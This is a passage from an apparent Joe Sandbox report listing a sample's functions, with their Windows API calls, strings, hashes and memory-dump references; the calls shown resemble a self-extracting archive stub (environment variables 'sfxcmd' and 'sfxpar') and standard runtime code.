Instruction ID: 5ae8133f38bdc998e8658db54b2ee31ed8892300795e3fabfff5fc9b11f27b27
Opcode Fuzzy Hash: 1f72b55af14e393d3a44cc143078351dc9bdd172c0a7ebb2449124b667708515
Instruction Fuzzy Hash: C9017572400784EFD7229B64DD85FC6BBA9FB08B10F00093DF26A62560CB756954CB50

Function 000CC748 Relevance: 7.5, APIs: 5, Instructions: 38
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 000CC759
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 000CC76A
IsDialogMessageW.USER32(000103E6,?), ref: 000CC77E
TranslateMessage.USER32(?), ref: 000CC78C
DispatchMessageW.USER32(?), ref: 000CC796

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Message$CallbackDialogDispatchDispatcherPeekTranslateUser
String ID:
API String ID: 3531142305-0
Opcode ID: d4828ffdaf1b602a01ba8904f7758241874362212c7350875f99d151ef285da7
Instruction ID: 4e3a1bbf00a3e8aab01c61776e6c74bb5e87ee829624a2e78d598b5a4bd3816e
Opcode Fuzzy Hash: d4828ffdaf1b602a01ba8904f7758241874362212c7350875f99d151ef285da7
Instruction Fuzzy Hash: 32F01D71D01229AB9B249BE1DD4CEDF7FACEF493907008015B50AD2000E774E505CBF0

Function 000CBBB0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 000CBBC7
SHAutoComplete.SHLWAPI(?,00000010), ref: 000CBBFE

Part of subcall function 000C3306: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013306,000BD523,00000000,.exe,?,?,00000800,?,?,?,000C9E4C), ref: 000C331C

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 000CBBEE

Strings

EDIT, xrefs: 000CBBD2, 000CBBDD, 000CBBEA

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: ea670d9a9bc87e1f9540af897223cd1f0db164dd4bebca84de53d0f7f20160b4
Instruction ID: 4b003d8c22bffb3f9de37a7dd065137c65eee72ff2f1539772adce87c7d4b4c7
Opcode Fuzzy Hash: ea670d9a9bc87e1f9540af897223cd1f0db164dd4bebca84de53d0f7f20160b4
Instruction Fuzzy Hash: 1FF08232600629BBDB2057A69C0AFEF76ACAB86B40F444059BA40B6184DBA4DA41C5B5

Function 000CBD0B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000C1B34: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 000C1B4F
Part of subcall function 000C1B34: LoadLibraryW.KERNEL32(?,?,?,?,00000800,?,000C0633,Crypt32.dll,00000000,000C06AD,00000200,?,000C0690,00000000,00000000,?), ref: 000C1B71

OleInitialize.OLE32(00000000), ref: 000CBD24
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 000CBD5B
SHGetMalloc.SHELL32(000FA460), ref: 000CBD65

Strings

riched20.dll, xrefs: 000CBD13

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll
API String ID: 3498096277-3360196438
Opcode ID: 6d5dc9ace9ca346de89cda833ca7294de9db1cda5deddb56759b2b1bc946ea0a
Instruction ID: 6a049aeeb54a6d792fdd2a20e96d877cfc9560f8e9061a0b50e8216bdddcb630
Opcode Fuzzy Hash: 6d5dc9ace9ca346de89cda833ca7294de9db1cda5deddb56759b2b1bc946ea0a
Instruction Fuzzy Hash: 4DF049B1D00209ABCB10AF99D949AEFFFFCEF84304F00801AE911A2251DBB45645CBA1

Function 000CED1E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 31
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 000CED34
SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 000CED70

Strings

sfxpar, xrefs: 000CED6B
sfxcmd, xrefs: 000CED2F

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: 976ec165a21c1ac412d35e1bcf591e0172fc415b535a8a544719a7c9bec56587
Instruction ID: 599c3ef8c712d4e4352f4a95c471cf74626fa48c09ab1f3127cb1139061c9f8d
Opcode Fuzzy Hash: 976ec165a21c1ac412d35e1bcf591e0172fc415b535a8a544719a7c9bec56587
Instruction Fuzzy Hash: F1F0E5B2404274ABDB312B91DC05FFE7B9CEF26B82B044099BD46AA053E775C880C7B1

Function 000D4D92 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000011,00000000,00000800,?,000D4D43,00000000,00000001,001140C4,?,?,?,000D4EE6,00000004,InitializeCriticalSectionEx,000E7424,InitializeCriticalSectionEx), ref: 000D4D9F
GetLastError.KERNEL32(?,000D4D43,00000000,00000001,001140C4,?,?,?,000D4EE6,00000004,InitializeCriticalSectionEx,000E7424,InitializeCriticalSectionEx,00000000,?,000D4C9D), ref: 000D4DA9
LoadLibraryExW.KERNEL32(00000011,00000000,00000000,?,00000011,000D3BE3), ref: 000D4DD1

Strings

api-ms-, xrefs: 000D4DB6

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 2bc6f9f0acb8b03c2f4902d069a108cbf88a8bbfb8e7482e2bde5f40dfb45994
Instruction ID: 7f2017cfe4aa35f8c7654786ac6ca977e559546b3b404e1edd57da4a68a770e9
Opcode Fuzzy Hash: 2bc6f9f0acb8b03c2f4902d069a108cbf88a8bbfb8e7482e2bde5f40dfb45994
Instruction Fuzzy Hash: C1E0DF30A80348BBEF501F60EC46B593F9AAB10F60F100021FA0DBC5E0EBB2996095A0

Function 000BA9E5 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 000BA9F5
ReadFile.KERNEL32(?,?,?,?,00000000), ref: 000BAA0D
GetLastError.KERNEL32 ref: 000BAA3F
GetLastError.KERNEL32 ref: 000BAA5E

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 1f51d051a8ff9d4693b0072abb4673505da0f1b4d6140610054958927b5d9329
Instruction ID: 5d5b7ff6e8d7dd04e6b920f3a8e5f54c8e80a8c6637e835bcab6a65dd45935c9
Opcode Fuzzy Hash: 1f51d051a8ff9d4693b0072abb4673505da0f1b4d6140610054958927b5d9329
Instruction Fuzzy Hash: 2D118B31B00204EBDF709F64DA44AEE37E9FB07760F10462AF92695290DB789E44DB63

Function 000D4CF2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,00000001,001140C4,?,?,?,000D4EE6,00000004,InitializeCriticalSectionEx,000E7424,InitializeCriticalSectionEx,00000000,?,000D4C9D,001140C4,00000FA0), ref: 000D4D75
GetProcAddress.KERNEL32(00000000,?), ref: 000D4D7F

Strings

;, xrefs: 000D4D43

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: ;
API String ID: 3013587201-2788296473
Opcode ID: 28ce03993095ab7e35a27305f90eaebf1e208a266c3bb5378f66f4062a89446a
Instruction ID: ca74144176a2445a371d7b4bd4b849ea3e23303180e5cb723466e4275169e167
Opcode Fuzzy Hash: 28ce03993095ab7e35a27305f90eaebf1e208a266c3bb5378f66f4062a89446a
Instruction Fuzzy Hash: FC119331600715AF9F26CFA4DC8099D73E6FF86B50725016AEA15DB310E730DD41CBA0

Function 000C2337 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,Function_00012470,?,00000000,00000000), ref: 000C235B
SetThreadPriority.KERNEL32(?,00000000), ref: 000C23A2

Part of subcall function 000B76E9: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 000B7707

Strings

CreateThread failed, xrefs: 000C2367

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: ec572fab175ec5a7cff789d2fc809b851f4919c7881effbbb04bbcf13d9571e0
Instruction ID: de4d70db1aac3cb2cd46fe7fd69f45d5a1e006c624a9cbf4742ccc2de08d9431
Opcode Fuzzy Hash: ec572fab175ec5a7cff789d2fc809b851f4919c7881effbbb04bbcf13d9571e0
Instruction Fuzzy Hash: 020149B134434A6FE3246F64DC81FB6B398EB40726F20023EF7866A4C1CEA4A840D620

Function 000BB20A Relevance: 4.6, APIs: 3, Instructions: 111fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,000BE79B,00000001,?,?,?,00000000,000C66B2,?,?,?), ref: 000BB22E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,000C66B2,?,?,?,?,?,000C6174,?), ref: 000BB275
WriteFile.KERNEL32(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,000BE79B,00000001,?,?), ref: 000BB2A1

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 817210a737ce63c0839bd9b3649ed042dc79732d6c4fff6d0a7718e93c46acb3
Instruction ID: 5da54f292f978ae9372b7bf83ffa450341386701034d11cd5afbf67745778389
Opcode Fuzzy Hash: 817210a737ce63c0839bd9b3649ed042dc79732d6c4fff6d0a7718e93c46acb3
Instruction Fuzzy Hash: AF31D231248345AFEB14CF10D858BEE77E5FB90B15F04461DFA916B290CBB4AD48CBA2

Function 000BB542 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 000BD68B: _wcslen.LIBCMT ref: 000BD691

CreateDirectoryW.KERNEL32(?,00000000,?,?,?,000BB405,?,00000001,00000000,?,?), ref: 000BB569
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,000BB405,?,00000001,00000000,?,?), ref: 000BB59C
GetLastError.KERNEL32(?,?,?,?,000BB405,?,00000001,00000000,?,?), ref: 000BB5B9

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: 4680775df1d933126a2da7be6710bee6bca596b6b7415130beef38b2b79bca46
Instruction ID: 563a8774125e4bc5143846a901f138542d260ce61be0e9303490f8cce08c48f3
Opcode Fuzzy Hash: 4680775df1d933126a2da7be6710bee6bca596b6b7415130beef38b2b79bca46
Instruction Fuzzy Hash: 3B01D8312046646BEF716F719C45FFE33889F05780F040425F901E6182DBA4DA4187A6

Function 000DCA43 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 000DCA68

Strings

, xrefs: 000DCAAD

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: e5234eac87de6aaafd4cee754d10bd09214358b1e0e1261a73d728c0df94445f
Instruction ID: 520d7b81022c5f35ea6883b91e90ce3186ef5fe36db6cc31c26aeb8eed2732b0
Opcode Fuzzy Hash: e5234eac87de6aaafd4cee754d10bd09214358b1e0e1261a73d728c0df94445f
Instruction Fuzzy Hash: 0441077050434D9EEB218A688C85EFABBEADB05318F1404EFE58A86242D235AE45CF70

Function 000DBE48 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 000DBEA8

Strings

S, xrefs: 000DBE7F, 000DBE93, 000DBE84

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: AddressProc
String ID: S
API String ID: 190572456-186050230
Opcode ID: df557e00ac5de4b520f3cdec850e8b4202721814c5e5d8ee78e688f3fd7a9c07
Instruction ID: 0e234f002a72c202e7e56d07918c8e0b9f5f2948c9aaa02d83d6467cbe9f4d60
Opcode Fuzzy Hash: df557e00ac5de4b520f3cdec850e8b4202721814c5e5d8ee78e688f3fd7a9c07
Instruction Fuzzy Hash: 2011E733A00324DF9B619E29EC404EE73E59B847607174222FE14AB355DB34EC41DAE0

Function 000DC11C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,62E85006,00000001,?,000000FF), ref: 000DC18D

Strings

LCMapStringEx, xrefs: 000DC12D, 000DC137

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: c2c34bf9494e9c461746cca0126107488e9ab0898e386835d911e6268df6c2e4
Instruction ID: 83250b1913f01cfeb54b7216b8794f131e9fd01c3b2f45d45d5f93fbce52c404
Opcode Fuzzy Hash: c2c34bf9494e9c461746cca0126107488e9ab0898e386835d911e6268df6c2e4
Instruction Fuzzy Hash: 41012532500259BBEF12AF91DC01DEE7FA2EF08710F454116FF082A261CB368971EB91

Function 000DC0BA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,000DB71F), ref: 000DC105

Strings

InitializeCriticalSectionEx, xrefs: 000DC0CB, 000DC0D5

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 1e542e70afc11386c7dd9bc6bcb78817a8dadd33c64403545cd30e7c2c9abfac
Instruction ID: 2773a84ab019440e8f979c8a75b24f5e955f28fd7a4309875b80cc555a8c56ef
Opcode Fuzzy Hash: 1e542e70afc11386c7dd9bc6bcb78817a8dadd33c64403545cd30e7c2c9abfac
Instruction Fuzzy Hash: DCF0B431A41218BBEF21AF51CC05DAD7FA1DF18B50F404067FE093A261CE315950EB91

Function 000DBF5F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 000DBF9E

Strings

FlsAlloc, xrefs: 000DBF70, 000DBF7A

Memory Dump Source

Source File: 00000000.00000002.2173713901.00000000000B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000B0000, based on PE: true

Associated: 00000000.00000002.2173694177.00000000000B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173747990.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.00000000000F5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173770824.0000000000114000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2173857017.0000000000115000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b0000_MpkkG8XzhJ.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: de95536d7269c7a08d5bfcc7bc07957f186ea2abf53fcc2deaca0b17e58b06ba
Instruction ID: 15cec53a3e191995de1e0e8c026c88b8cf38f219d088422c8a16cf9836540895
Opcode Fuzzy Hash: de95536d7269c7a08d5bfcc7bc07957f186ea2abf53fcc2deaca0b17e58b06ba
Instruction Fuzzy Hash: BBE0EC31F40318AFD6116B519C0697EBB95CF04B10F460157F9097B391CF755D019ADA

Function 000DCDA0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 000DC96B: GetOEMCP.KERNEL32(00000000,?,?,000DCBF4,?), ref: 000DC996

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,000DCC39,?,00000000), ref: 000DCE14
GetCPInfo.KERNEL32(00000000,000DCC39,?,?,?,000DCC39,?,00000000), ref: 000DCE27

Memory Dump Source

